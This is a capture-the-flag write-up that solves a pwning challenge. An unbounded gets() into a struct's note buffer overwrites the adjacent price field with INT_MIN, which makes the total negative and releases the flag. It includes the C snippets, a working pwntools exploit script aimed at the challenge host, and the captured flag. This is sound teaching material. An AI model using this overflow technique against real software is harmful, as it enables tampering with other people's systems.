Challenge: Recipe for Disaster · CTF: GPN CTF 2026 · Category: Pwning · Difficulty: Easy
Summary#
A food-ordering binary reads chef notes with gets() into a 32-byte buffer that
sits directly in front of an int price field. Overflowing the note overwrites
the item’s price with a negative value, making the order total negative — which
trips the “pricing error” branch that prints /flag as an apology coupon.
Solution#
Step 1: Spot the intra-struct overflow#
Orders are stored as an array of:
1
2
3
4
5
| typedef struct {
char item[32]; // offset 0
char note[32]; // offset 32
int price; // offset 64 <-- immediately after note
} Item;
|
The note is read with gets(cur->note) (unbounded). Writing 32 bytes to fill
note and 4 more bytes lands exactly on price. gets() stops only on newline,
so null bytes in the price value are fine.
Step 2: Make the total negative to print the flag#
verify_total() was meant to guard against an arithmetic overflow of the sum:
1
2
3
4
5
6
7
| void verify_total(int total) {
if (total < 0) { // "we don't want negative prices"
print_coupon(); // reads /flag
exit(0);
}
...
}
|
The author guarded the sum but not the individual price. Order one item,
overflow its note to set price = 0x80000000 (INT_MIN), finish the order, and
total < 0 hands over the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| #!/usr/bin/env python3
from pwn import *
context.binary = ELF('./challenge', checksec=False)
HOST = 'wok-tossed-sardine-dusted-with-compressed-gremolata-6r7o.gpn24.ctf.kitctf.de'
PORT = 443
io = remote(HOST, PORT, ssl=True) if args.REMOTE else process('./challenge')
# Order one item (menu choice 1)
io.sendlineafter(b'0 to finish: ', b'1')
# note[32] is immediately followed by int price -> overflow to set INT_MIN
payload = b'A' * 32 + p32(0x80000000) # total < 0
io.sendlineafter(b'> ', payload)
# Finish ordering -> calculate_total -> verify_total -> print_coupon (/flag)
io.sendlineafter(b'0 to finish: ', b'0')
io.recvuntil(b'this coupon:')
print(io.recvall(timeout=5).decode(errors='replace').strip())
|
Run:
1
2
3
| python3 solver.py REMOTE
# ...
# GPNCTF{WaIt, wITH 7hese PriCeS, ovErFL0Ws shOULd n07 Be pOSSi8lE...}
|
Flag#
1
| GPNCTF{WaIt, wITH 7hese PriCeS, ovErFL0Ws shOULd n07 Be pOSSi8lE...}
|